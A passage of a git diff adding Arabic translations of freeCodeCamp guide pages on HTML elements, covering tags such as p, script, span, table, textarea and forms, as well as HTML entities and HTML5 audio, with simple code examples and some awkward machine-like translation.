+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third Item</li> 
+ </ol> 
+` 
+
+### قوائم مرتبة مقابل غير مرتبة
+
+في HTML ، تتشابه القوائم المرتبة وغير المرتبة في كل من الاستخدام والتصميم. استخدم القوائم المرتبة في الأماكن التي يؤدي فيها تغيير ترتيب العناصر إلى تغيير معنى القائمة. على سبيل المثال ، يمكن استخدام قائمة مرتبة في الوصفة ، حيث سيكون من المهم تغيير ترتيب الخطوات. استخدم قوائم غير مرتبة لمجموعات من العناصر بدون ترتيب ذي معنى. يمكن أن قائمة الحيوانات في مزرعة في قائمة غير مرتبة.
+
+#### معلومات اكثر:
+
+## موارد آخرى
+
+*   [قائمة غير مرتبة `<ul>`](https://github.com/freeCodeCamp/guides/blob/master/src/pages/html/elements/ul-tag/index.md)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/p-tag/index.md b/client/src/guide/arabic/html/elements/p-tag/index.md
new file mode 100644
index 0000000000..868426b14f
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/p-tag/index.md
@@ -0,0 +1,41 @@
+---
+title: P Tag
+localeTitle: ف يوم
+---
+## علامة P
+
+ترمز العلامة `<p>` للفقرة ، وهي العلامة الأكثر شيوعًا المستخدمة لإنشاء أسطر كلمات داخل `<html>` المستند. استخدام `<p>` سيكون مفيدًا للغاية لإضافة الهامش تلقائيًا بين العناصر. يمكن أن تكون السمة `<p>` مفيدة أيضًا لتصميم CSS.
+
+### علامة P مع علامات أخرى
+
+استخدام `<p>` متوافق مع علامات أخرى ، مما يسمح بإضافة ارتباطات تشعبية ( `<a>` ) ، غامق ( `<strong>` ) ، مائل ( `<i>` ) وغيرها.
+
+### مثال
+
+ `
+<html> 
+  <head> 
+    <title>Paragraph example</title> 
+  </head> 
+  <body> 
+    <p> 
+      This <strong>sentence</strong> was created to show how the paragraph works. 
+    </p> 
+  </body> 
+ </html> 
+` 
+
+يمكنك أيضًا تضمين عنصر الارتساء `<a>` في فقرة.
+
+### مثال
+
+ `
+<p>Here's a 
+  <a href="http://freecodecamp.com">link to Free Code Camp.com</a> 
+  for you to follow.</p> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN: <p> عنصر الفقرة](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p)
+*   [w3schools: HTML <p> Tag](https://www.w3schools.com/tags/tag_i.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/paragraph/index.md b/client/src/guide/arabic/html/elements/paragraph/index.md
new file mode 100644
index 0000000000..33a54837f2
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/paragraph/index.md
@@ -0,0 +1,25 @@
+---
+title: Paragraph Tag
+localeTitle: علامة الفقرة
+---
+## فقرة
+
+HTML
+
+عنصر يمثل فقرة من النص.
+
+عادة ما يمثل كتلة من النص الذي فصله عن الكتل الأخرى بواسطة مساحة فارغة رأسيًا.
+
+### مثال
+
+\`\` \`أتش تي أم أل
+
+هذه فقرة
+
+هذه فقرة أخرى
+
+\`\` \`
+
+#### معلومات اكثر:
+
+https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/paragraphs/index.md b/client/src/guide/arabic/html/elements/paragraphs/index.md
new file mode 100644
index 0000000000..3e27c493d7
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/paragraphs/index.md
@@ -0,0 +1,11 @@
+---
+title: Paragraphs
+localeTitle: الفقرات
+---
+## الفقرات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/paragraphs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/s-tag/index.md b/client/src/guide/arabic/html/elements/s-tag/index.md
new file mode 100644
index 0000000000..eff5e9fe7b
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/s-tag/index.md
@@ -0,0 +1,17 @@
+---
+title: S Tag
+localeTitle: يوم واحد
+---
+## علامة S
+
+في HTML ، يتم استخدام العلامة `<s>` في نص يتوسطه خط. على سبيل المثال:
+
+ `
+<p><s>This year is the year of the monkey.</s></p> 
+ <p>This year is the year of the Rooster.</p> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN - HTML s tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/s)
+*   [W3 - HTML 5.2 s مواصفات العلامة](https://www.w3.org/TR/html5/textlevel-semantics.html#the-s-element)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/script-tag/index.md b/client/src/guide/arabic/html/elements/script-tag/index.md
new file mode 100644
index 0000000000..921dba54c2
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/script-tag/index.md
@@ -0,0 +1,41 @@
+---
+title: Script Tag
+localeTitle: علامة البرنامج النصي
+---
+## علامة البرنامج النصي
+
+يتم استخدام علامة HTML النصية إما لإدراج جافا سكريبت من جانب العميل أو الإشارة إلى ملف جافا سكريبت خارجي باستخدام السمة "src" البرمجية.
+
+يتم استخدام العلامة / `<script>` لدمج جافا سكريبت من جانب العميل في ملف HTML الخاص بك والذي يمكن استخدامه لإضافة التفاعلية والمنطق إلى موقع الويب الخاص بك
+
+ `<script> 
+  //JavaScript code is written here 
+ </script> 
+ 
+ <script src="js/app.js"> 
+` 
+
+يمكن استخدام العلامة لتشمل شفرة جافا سكريبت الفعلية في HTML نفسها مثل هذا
+
+ `<script> 
+  alert('hello this is my Javascript doing things!'); 
+ </script> 
+` 
+
+أو يمكنك استخدامه كطريقة للإشارة إلى ملف جافا سكريبت خارجي مثل هذا
+
+ `<script src="main.js" /> 
+` 
+
+وهنا تأخذ خاصية `src` للعنصر مسارًا إلى ملف Javascript
+
+يتم تحميل علامات البرنامج النصي في HTML الخاص بك في ترتيب و syncronously لذلك عادة ما يكون أفضل الممارسات لإضافة البرامج النصية الخاصة بك مباشرة قبل انتهاء العلامة `<body>` في HTML الخاص بك مثل ذلك
+
+ `  <script src="main.js" /> 
+  <script> 
+    alert('hello this is my Javascript doing things!'); 
+  </script> 
+ </body> 
+` 
+
+يمكنك الاطلاع على الوثائق الرسمية لعنصر البرنامج النصي في [MDN Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/section-tag/index.md b/client/src/guide/arabic/html/elements/section-tag/index.md
new file mode 100644
index 0000000000..3ef0e0394c
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/section-tag/index.md
@@ -0,0 +1,30 @@
+---
+title: Section Tag
+localeTitle: قسم القسم
+---
+## الجزء
+
+يعرّف عنصر HTML `<section>` قسمًا داخل صفحة HTML يتم استخدامها عندما لا يكون هناك عنصر HTML لغوي محدد أكثر لتمثيله. عادة ، سيتضمن عنصر `<section>` عنصر عنوان ( `<h1>` - `<h6>` ) كعنصر فرعي.
+
+على سبيل المثال ، يمكن تقسيم صفحة الويب إلى أقسام مختلفة مثل أقسام الترحيب والمحتوى والاتصال.
+
+لا ينبغي استخدام عنصر `<section>` بدلاً من عنصر `<div>` إذا كانت هناك حاجة إلى حاوية عامة. يجب استخدامه لتعريف الأقسام في صفحة HTML.
+
+ `
+<html> 
+ <head> 
+  <title>Section Example</title> 
+ </head> 
+ <body> 
+  <section> 
+    <h1>Heading</h1> 
+    <p>Bunch of awesome content</p> 
+  </section> 
+ </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/section)
+*   [مدارس W3](https://www.w3schools.com/tags/tag_section.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/select-tag/index.md b/client/src/guide/arabic/html/elements/select-tag/index.md
new file mode 100644
index 0000000000..adc6759016
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/select-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Select Tag
+localeTitle: اختر العلامة
+---
+## اختر العلامة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/select-tag/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/span-tag/index.md b/client/src/guide/arabic/html/elements/span-tag/index.md
new file mode 100644
index 0000000000..a28c262131
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/span-tag/index.md
@@ -0,0 +1,37 @@
+---
+title: Span Tag
+localeTitle: يوم سبان
+---
+## سبان تاج
+
+إن العلامة `<span>` هي عنصر حاوي للأغراض العامة مشابه لـ `<div>` . لا تُجري المتصفحات أية تغييرات مرئية على `<span>` s بشكل افتراضي ، ولكن يمكنك تصميمها باستخدام CSS أو التعامل معها باستخدام جافا سكريبت.
+
+### مثال
+
+ `
+<html> 
+  <head> 
+    <title>The Span Tag</title> 
+  </head> 
+  <body> 
+    <div> 
+      <p>This is a normal paragraph without any changes.</p> 
+      <p>This paragraph has <span style="color:red">red span styling</span> inside it without affecting the rest of the document.</p> 
+    </div> 
+  </body> 
+ </html> 
+` 
+
+يشبه رمز الفقرة ذات النص الأحمر هذا:
+
+ `
+<p>This paragraph has <span style="color:red">red span styling</span> inside it without affecting the rest of the document.</p> 
+` 
+
+#### الاختلافات بين `<span>` و `<div>`
+
+والفرق الرئيسي هو أن `<span>` عنصر مضمّن ، بينما `<div>` هو عنصر كتلة. هذا يعني أن `<span>` يمكن أن تظهر داخل جملة أو فقرة (كما في المثال أعلاه) ، بينما تبدأ `<div>` سطرًا جديدًا من المحتوى. لاحظ أن خاصية `display` CSS يمكنها تغيير هذا السلوك الافتراضي ، ولكن هذا يتجاوز نطاق هذه المقالة!
+
+#### معلومات اكثر:
+
+*   [MDN HTML Element Reference](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/span)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/strong-tag/index.md b/client/src/guide/arabic/html/elements/strong-tag/index.md
new file mode 100644
index 0000000000..5f81699e1c
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/strong-tag/index.md
@@ -0,0 +1,45 @@
+---
+title: Strong Tag
+localeTitle: علامة قوية
+---
+# علامة قوية
+
+إن علامة < **_strong_** > HTML هي علامة لتأكيد النص والتي يتم استخدامها أثناء عرض النتائج ونصها الغامق داخل العلامات.
+
+### استعمال
+
+ `<strong> Hello World! </strong> 
+` 
+
+ينتج رمز أعلاه في
+
+**مرحبا بالعالم!**
+
+هذه العلامة يشار إليها أيضًا باسم **العنصر القوي** . عندما يتعلق الأمر بالسمات ، تنطبق السمات العالمية فقط على **القوي** لا يوجد أي سمات محددة للعلامة < **strong** >.
+
+### دعم المتصفح
+
+| اسم المتصفح الدعم | |: -------------------: |: -------: | | كروم | نعم | | أندرويد | نعم | | فايرفوكس | نعم | | إنترنت إكسبلورر | نعم | | أوبرا | نعم | | سفاري | نعم |
+
+#### معلومات اكثر:
+
+[https://www.techonthenet.com/html/elements/strong\_tag.php](https://www.techonthenet.com/html/elements/strong_tag.php)
+
+# [https://www.w3schools.com/tags/tag\_strong.asp](https://www.w3schools.com/tags/tag_strong.asp)
+
+يتم استخدام العلامة `<strong>` لإعطاء أهمية للنص في مستند HTML. يمكن القيام بذلك عن طريق التفاف النص الذي ترغب في التأكيد عليه في علامة `<strong>` . تعرض معظم المتصفحات نصًا ملفوفًا في علامة `<strong>` باسم غامق.
+
+ملاحظة: يجب عدم استخدام العلامة `<strong>` في النص الغامق من الناحية النمطية.
+
+### مثال:
+
+ `<body> 
+  <p> 
+    <strong> This </strong> is important. 
+  </p> 
+ </body> 
+` 
+
+#### معلومات اكثر:
+
+*   [علامة em: w3schools](https://www.w3schools.com/tags/tag_strong.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/style-tag/index.md b/client/src/guide/arabic/html/elements/style-tag/index.md
new file mode 100644
index 0000000000..9b1d854813
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/style-tag/index.md
@@ -0,0 +1,40 @@
+---
+title: Style Tag
+localeTitle: علامة نمط
+---
+## علامة نمط
+
+يتم استخدام علامة النمط مثل نوع ملف css باستثناء داخل HTML ، مثل:
+
+ `    <head> 
+      <title>Your Title</title> 
+      <style> 
+        p { 
+          color:red; 
+        } 
+      </style> 
+    </head> 
+` 
+
+من شأنه أن يجعل لون علامة الفقرة باللون الأحمر. من المفيد إذا كنت ترغب فقط في وضع القليل من التعليمات البرمجية ، ولكن إذا كنت تريد ورقة أنماط طويلة بالفعل ، فإنني أوصي باستخدام `<link />` .
+
+#### معلومات اكثر:
+
+[مدارس W3C](https://www.w3schools.com/tags/tag_style.asp)
+
+مزيد من المعلومات:
+
+تُستخدم علامة النمط لتعيين أي أنماط CSS لصفحة الويب داخل مستند. يجب أن تكون علامة النمط متداخلة مع قسم الرأس في مستند html:
+
+ `
+<head> 
+  <style> 
+  h1 { 
+     text-align: center; 
+     font-family: sans-serif; 
+     } 
+  </style> 
+ </head> 
+` 
+
+يمكنك كتابة أي علامة نمط داخلية للرمز CSS - وفقًا للبناء الخاص بها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/table-tag/index.md b/client/src/guide/arabic/html/elements/table-tag/index.md
new file mode 100644
index 0000000000..87d1755b88
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/table-tag/index.md
@@ -0,0 +1,36 @@
+---
+title: Table Tag
+localeTitle: علامة الجدول
+---
+## علامة الجدول
+
+تسمح لك العلامة `<table>` بعرض جدول على صفحة الويب الخاصة بك.
+
+### مثال
+
+ `
+<table> 
+  <tr> 
+    <td>Row 1, Cell 1</td> 
+    <td>Row 1, Cell 2</td> 
+  </tr> 
+  <tr> 
+    <td>Row 2, Cell 1</td> 
+    <td>Row 2, Cell 2</td> 
+  </tr> 
+ </table> 
+` 
+
+كتلة التعليمة البرمجية هذه قد ينتج الإخراج التالي:
+
+الصف 1 ، الخلية 1
+
+الصف 1 ، الخلية 2
+
+الصف 2 ، الخلية 1
+
+الصف 2 ، الخلية 2
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/td-tag/index.md b/client/src/guide/arabic/html/elements/td-tag/index.md
new file mode 100644
index 0000000000..e8a37d415d
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/td-tag/index.md
@@ -0,0 +1,36 @@
+---
+title: Td Tag
+localeTitle: اليوم الثاني
+---
+## تي دي تاج
+
+تحدد العلامة `<td>` خلية قياسية في جدول HTML.
+
+يحتوي جدول HTML على نوعين من الخلايا:
+
+*   خلايا العنوان - تحتوي على معلومات رأس (تم إنشاؤها باستخدام العنصر `<th>` )
+*   الخلايا القياسية - تحتوي على بيانات (تم إنشاؤها باستخدام عنصر `<td>` )
+
+يكون النص الموجود في عناصر `<th>` غامقًا ومركّزًا بشكل افتراضي. النص في عناصر `<td>` منتظم ومحاذاة إلى اليسار بشكل افتراضي.
+
+### مثال
+
+ `
+<html> 
+ <head> 
+ <title>Td Tag Example</title> 
+ </head> 
+ <body> 
+ <table> 
+  <tr> 
+    <th>Header1</th> 
+    <th>Header2</th> 
+  </tr> 
+  <tr> 
+    <td>Cell A</td> 
+    <td>Cell B</td> 
+  </tr> 
+ </table> 
+ </body> 
+ </html> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/textarea-tag/index.md b/client/src/guide/arabic/html/elements/textarea-tag/index.md
new file mode 100644
index 0000000000..7b3af153aa
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/textarea-tag/index.md
@@ -0,0 +1,21 @@
+---
+title: Textarea Tag
+localeTitle: علامة Textarea
+---
+## علامة Textarea
+
+تسمح لك علامة textarea HTML بإدخال مربع يحتوي على نص لملاحظات أو تفاعل المستخدم. في معظم الحالات ، من الشائع رؤية النص المستخدم كجزء من النموذج.
+
+يستخدم المبرمجون tagarea tag لإنشاء حقل متعدد الأسطر لإدخال المستخدم (مفيد خصوصًا إذا كان المستخدم قادرًا على وضع نص أطول). قد يحدد المبرمجون سمات مختلفة للعلامات النصية.
+
+عينة من الرموز:
+
+ `
+    <form> 
+      <textarea name="comment" rows="8" cols="80" maxlength="500" placeholder="Enter your comment here..." required></textarea> 
+    </form> 
+` 
+
+السمات الأكثر شيوعًا: تحدد `row` و `cols` ارتفاع وعرض النص تحدد السمة `placeholder` النص المرئي للمستخدم ، فهي تساعد المستخدم على فهم البيانات التي يجب كتابتها تحدد السمة `maxlength` الحد الأقصى لطول النص الذي يمكن كتابته في textarea ، لا يمكن للمستخدم إرسال المزيد من الأحرف تعني السمة `required` أنه يجب ملء هذا الحقل قبل إرسال النموذج
+
+لمزيد من المعلومات حول علامة textarea وسماتها ، قم بزيارة MDN أو w3schools .
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/th-tag/index.md b/client/src/guide/arabic/html/elements/th-tag/index.md
new file mode 100644
index 0000000000..f9e1b75702
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/th-tag/index.md
@@ -0,0 +1,36 @@
+---
+title: Th Tag
+localeTitle: اليوم
+---
+## العلامة
+
+تسمح لك العلامة `<th>` بتحديد خلية رأس في جداول HTML. بشكل افتراضي ، ستظهر معظم المتصفحات بخط سميك وتوسيط البيانات في هذه العلامات.
+
+### مثال
+
+ `
+<table> 
+ <tr> 
+   <th>Movie</th> 
+   <th>Rating</th> 
+ </tr> 
+ <tr> 
+   <td>Die Hard</td> 
+   <td>5 Stars</td> 
+ </tr> 
+ </table> 
+` 
+
+سيعمل هذا الترميز على إنشاء الناتج التالي:
+
+فيلم
+
+تقييم
+
+يموت هارد
+
+5 نجوم
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/tr-tag/index.md b/client/src/guide/arabic/html/elements/tr-tag/index.md
new file mode 100644
index 0000000000..3c5f0f2ad6
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/tr-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Tr Tag
+localeTitle: يوم التداول
+---
+تحدد العلامة `<tr>` صفًا قياسيًا في جدول HTML على صفحة ويب.
+
+تحتوي العلامة `<tr>` العلامات `<th>` و `<td>` ، والمعروفة أيضًا باسم رأس الجدول وبيانات الجدول على التوالي.
+
+العلامة `<tr>` هي علامة مقفلة ، بمعنى أنه يجب إغلاق كل علامة `<tr>` مفتوحة مع علامة إغلاق فرعية متتالية تشير إليها `</tr>`
+
+تحدد العلامة `<tr>` صفًا في جدول.
+
+### مثال
+
+\`\` \`أتش تي أم أل
+
+تري تاغ مثال
+
+رأس واحد
+
+خلية بيانات / عمود الجدول المعتادة.
+
+خلية بيانات / عمود الجدول المعتادة.
+
+خلية بيانات / عمود الجدول المعتادة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/u-tag/index.md b/client/src/guide/arabic/html/elements/u-tag/index.md
new file mode 100644
index 0000000000..a7cc305521
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/u-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: U Tag
+localeTitle: U العلامة
+---
+## U العلامة
+
+تعرض العلامة `<u>` HTML النص مع تسطير.
+
+تم إيقاف عنصر `<u>` في HTML 4.01. في HTML5 ، تم إعادة تعريف العلامة `<u>` لتمثيل نص يجب أن يكون نصًا عاديًا مختلفًا من الناحية النمطية. وهذا يشمل الكلمات التي بها أخطاء إملائية أو الأسماء الصحيحة باللغة الصينية.
+
+بدلاً من ذلك ، لتسطير النص ، يُوصى باستخدام العلامة `<span>` بدلاً من `<u>` . قم `<span>` علامات `<span>` الخاصة بك مع خاصية `text-decoration` CSS مع `underline` القيمة.
+
+### أمثلة:
+
+\`\` \`أتش تي أم أل
+
+هذه الفقرة لديها تسطير .
+
+ ``Underlining text with the `<span>` tag: 
+`` 
+
+أتش تي أم أل الجميع يتحدث عن freeCodeCamp في الآونة الأخيرة. \`\` \`
+
+### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/u)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/ul-tag/index.md b/client/src/guide/arabic/html/elements/ul-tag/index.md
new file mode 100644
index 0000000000..36c8ee4e03
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/ul-tag/index.md
@@ -0,0 +1,32 @@
+---
+title: Ul Tag
+localeTitle: Ul Tag
+---
+## Ul Tag
+
+القائمة غير مرتبة `<ul>` هي علامة تُستخدم لإنشاء قوائم نقطية. لإنشاء قائمة داخل `<ul>` ، استخدم العلامة `<li>` . إلى قوائم الأنماط ، انتقل إلى قوائم أنماط CSS وقم بإجراء التغييرات.
+
+يمكن أن يكون `<ul>` متداخلًا داخل قوائم أخرى ومتوافقًا مع علامات أخرى مثل `<a>` ، `<p>` ، `<button>` ، وعلامات تصميم html ( `<strong>` ، `<em>` ، إلخ).
+
+### مثال
+
+لإنشاء ما يلي:
+
+ `
+ <ul> 
+    <li>This is the bulleted list #1</li> 
+    <li>This is the bulleted list #2</li> 
+    <li>This is the bulleted list #3</li> 
+      <li> 
+        <ul> 
+          <li>This is the bulleted nested list #1</li> 
+        </ul> 
+      </li> 
+  </ul> 
+` 
+
+يمكنك استخدام رمز HTML هذا: `html <html> <head> <title></title> </head> <body> <ul> <li>This is the bulleted list #1</li> <li>This is the bulleted list #2</li> <li>This is the bulleted list #3</li> <li> <ul> <li>This is the bulleted nested list #1</li> </ul> </li> </ul> </body> </html>`
+
+## موارد آخرى
+
+*   [قائمة مرتبة `<ol>`](https://github.com/freeCodeCamp/guides/blob/master/src/pages/html/elements/ol-tag/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/html-entities/index.md b/client/src/guide/arabic/html/html-entities/index.md
new file mode 100644
index 0000000000..15d4d00cbe
--- /dev/null
+++ b/client/src/guide/arabic/html/html-entities/index.md
@@ -0,0 +1,47 @@
+---
+title: HTML Entities
+localeTitle: كيانات HTML
+---
+# كيانات HTML
+
+## نظرة عامة
+
+### ما هي كيانات HTML؟
+
+كيانات HTML هي الأحرف المستخدمة لاستبدال أحرف محجوزة في HTML أو الأحرف التي لا تظهر على لوحة المفاتيح. بعض الأحرف محفوظة في HTML. إذا كنت تستخدم أقل من (<) أو أكبر من (>) علامات في النص الخاص بك ، قد يخلطها المتصفح مع العلامات.
+
+### ما يتم استخدامها ل؟
+
+كما ذكرنا عن كيانات HTML يتم استخدامها من أجل استبدال الأحرف المحجوزة التي تم حجزها بواسطة HTML.
+
+### كيف تستخدمها؟
+
+كيان الشخصية يشبه هذا:
+
+ `
+<!-- format &[entity_name]; --> 
+ <!-- example for a less-than sign (<) --> 
+ &lt; 
+` 
+
+أو
+
+ `
+<!-- &#[entity_number]; --> 
+ <!-- example for a less-than sign (<) --> 
+ &#60; 
+` 
+
+## دليل مرجعي
+
+هذه ليست بأي حال قائمة شاملة ولكن الروابط التالية ستكون قادرة على إعطائك المزيد من الكيانات إذا لم تعمل تلك أدناه لاحتياجاتك. الترميز سعيدة: بووتي:
+
+| حرف اسم الكيان | رقم الكيان | الوصف | | ------- | ----------- | ----------- | ------- | | | | `&#32;` | الفضاء | ! | | `&#33;` | علامة تعجب | | "| | `&#34;` | علامة التسعير | | # | | `&#35;` | علامة الرقم | | $ | | `&#36;` | علامة الدولار | | ¢ | `&cent;` | `&#162;` | علامة سنت | | € | `&euro;` | `&#8364;` | علامة اليورو | | جنيه استرليني | `&pound;` | `&#163;` | علامة الجنيه الاسترليني | | ¥ | `&yen;` | `&#165;` | علامة ين | | ٪ | | `&#37;` | علامة النسبة المئوية | | & | `&amp;` | `&#38;` | العطف | "| | `&#39;` | الفاصلة العليا | | (| | `&#40;` | الافتتاح / اليسار) | ) | | `&#41;` | إغلاق / يمين الأقواس | \* | | `&#42;` | العلامة النجمية | + | | `&#43;` | علامة زائد | | ، | | `&#44;` | فاصلة | | - | | `&#45;` | واصلة | . | | `&#46;` | الفترة | / | | `&#47;` | القطع | | © | `&copy;` | `&#169;` | حقوق النشر | | ® | `&reg;` | `&#174;` | علامة تجارية مسجلة | | "| `&quot;` | `&#34;` | علامة اقتباس مزدوجة | | `>` | `&gt;` | `&#62;` | أكبر من التوقيع | | `<` | `&lt;` | `&#60;` | أقل من علامة | | `•` | `&bull;` | `&#8226` | نقطة رصاصة
+
+#### معلومات اكثر:
+
+هناك الكثير من HTML يضيف إشارات إلى هناك ؛ بعض الأمثلة هي:
+
+*   [جدول الكيانات - W3](https://dev.w3.org/html5/html-author/charref)
+*   [مدارس W3](https://www.w3schools.com/html/html_entities.asp)
+*   [Freeformatter](https://www.freeformatter.com/html-entities.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/html-forms/index.md b/client/src/guide/arabic/html/html-forms/index.md
new file mode 100644
index 0000000000..f6fef1ef49
--- /dev/null
+++ b/client/src/guide/arabic/html/html-forms/index.md
@@ -0,0 +1,70 @@
+---
+title: HTML Forms
+localeTitle: نماذج HTML
+---
+## نماذج HTML
+
+في الأساس ، يتم استخدام النماذج لجمع البيانات التي تم إدخالها من قبل المستخدم ، والتي يتم إرسالها بعد ذلك إلى الخادم لمزيد من المعالجة. يمكن استخدامها لأنواع مختلفة من مدخلات المستخدم ، مثل الاسم والبريد الإلكتروني وما إلى ذلك.
+
+يحتوي النموذج على عناصر التحكم التي يتم لفها حول علامات `<form></form>` ، مثل `input` ، والتي يمكن أن تحتوي على أنواع مثل:
+
+*   `text`
+*   `email`
+*   `password`
+*   `checkbox`
+*   `radio`
+*   `submit`
+*   `range`
+*   `search`
+*   `date`
+*   `time`
+*   `week`
+*   `color`
+*   `datalist`
+
+مثال الكود:
+
+ `
+<form> 
+    <label for="username">Username:</label> 
+    <input type="text" name="username" id="username"> 
+    <label for="password">Password:</label> 
+    <input type="password" name="password" id="password"> 
+    <input type="radio" name="gender" value="male">Male<br> 
+    <input type="radio" name="gender" value="female">Female<br> 
+    <input type="radio" name="gender" value="other">Other 
+    <input list="Options"> 
+    <datalist id="Options"> 
+      <option value="Option1"> 
+      <option value="Option2"> 
+      <option value="Option3"> 
+    </datalist> 
+    <input type="submit" value="Submit"> 
+    <input type="color"> 
+    <input type="checkbox" name="correct" value="correct">Correct 
+ </form> 
+` 
+
+العناصر الأخرى التي يمكن أن تحتوي على الشكل:
+
+*   `textarea` - هو مربع متعدد الأسطر يستخدم في الغالب لإضافة نص ، على سبيل المثال. تعليق. يتم تعريف حجم النص من خلال عدد الصفوف والأعمدة.
+*   `select` - جنبا إلى جنب مع `<option></option>` علامة يختر القائمة المختارة.
+*   `button` - يمكن استخدام عنصر الزر لتعريف زر قابل للنقر.
+
+معلومات أخرى حول تنسيقات HTML.
+
+نماذج HTML مطلوبة عندما تريد جمع بعض البيانات من زائر الموقع. على سبيل المثال ، أثناء تسجيل المستخدم ، ترغب في جمع معلومات مثل الاسم وعنوان البريد الإلكتروني وبطاقة الائتمان وما إلى ذلك.
+
+سوف يأخذ النموذج مدخلات من زائر الموقع ثم يقوم بنشره في تطبيق خلفي مثل CGI أو ASP Script أو PHP script الخ. سيقوم التطبيق الخلفي بإجراء المعالجة المطلوبة على البيانات التي تم تمريرها بناءً على منطق عمل محدد داخل تطبيق.
+
+هناك العديد من عناصر النموذج المتاحة مثل الحقول النصية ، حقول النص ، القوائم المنسدلة ، أزرار الاختيار ، مربعات الاختيار ، إلخ.
+
+يتم استخدام علامة HTML `<form>` لإنشاء نموذج HTML وله اتباع بناء الجملة -
+
+`html <form action = "Script URL" method = "GET|POST"> form elements like input, textarea etc. </form>`
+
+إذا لم يتم تحديد طريقة النموذج ، فسيتم افتراض "GET".
+
+يمكن أن تحتوي علامة النموذج أيضًا على سمة باسم "target" تحدد مكان فتح الرابط. يمكن فتحه في علامة تبويب المتصفح أو الإطار أو في النافذة الحالية.
+
+تحدد السمة action الإجراء المراد تنفيذه عند إرسال النموذج. عادةً ، يتم إرسال بيانات النموذج إلى صفحة ويب على URL Script عندما يقوم المستخدم بالنقر فوق الزر إرسال. إذا تم حذف سمة الإجراء ، فسيتم تعيين الإجراء على الصفحة الحالية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/html5-audio/index.md b/client/src/guide/arabic/html/html5-audio/index.md
new file mode 100644
index 0000000000..c961c1a9ff
--- /dev/null
+++ b/client/src/guide/arabic/html/html5-audio/index.md
@@ -0,0 +1,48 @@
+---
+title: HTML5 Audio
+localeTitle: صوت HTML5
+---
+## صوت HTML5
+
+قبل HTML5 ، كان يجب تشغيل الملفات الصوتية في متصفح باستخدام مكون إضافي مثل Adobe Flash. HTML
+
+يستخدم عنصر لتضمين محتوى الصوت في المستندات. قد يحتوي على واحد أو أكثر من مصادر الصوت ، ممثلة باستخدام السمة src أو عنصر [المصدر](source)
+
+يضيف مقتطف الشفرة التالي ملفًا صوتيًا باسم الملف `tutorial.ogg` أو `tutorial.mp3` . ال  يشير العنصر إلى ملفات صوتية بديلة قد يختارها المتصفح. سوف يستخدم المتصفح أول تنسيق معترف به.
+
+#### مثال 1
+
+ `
+<audio controls> 
+  <source src="tutorial.ogg" type="audio/ogg"> 
+  <source src="tutorial.mp3" type="audio/mpeg"> 
+ Your browser does not support the audio element. 
+ </audio> 
+` 
+
+#### مثال 2
+
+ `
